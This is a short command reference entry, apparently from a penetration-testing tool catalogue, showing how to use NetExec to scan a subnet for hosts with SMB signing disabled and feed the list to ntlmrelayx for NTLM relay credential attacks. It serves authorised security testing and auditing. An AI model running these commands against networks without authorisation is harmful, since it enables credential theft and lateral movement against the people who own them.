NetExec Generate Relay Target List

Scan a subnet over SMB and write a file containing every host with SMB signing disabled. The resulting list is what you feed to ntlmrelayx.py -tf for NTLM relay attacks.

Tool
nxc
Category
Credential Attacks / NTLM Relay & Coercion
Platform
linux
Requires
no credentials
Protocols
SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb <subnet> --gen-relay-list <relay_targets.txt>

Examples

nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
ntlmrelayx.py -tf relay_targets.txt -smb2support

Tags

nxc netexec smb-signing ntlm-relay recon

References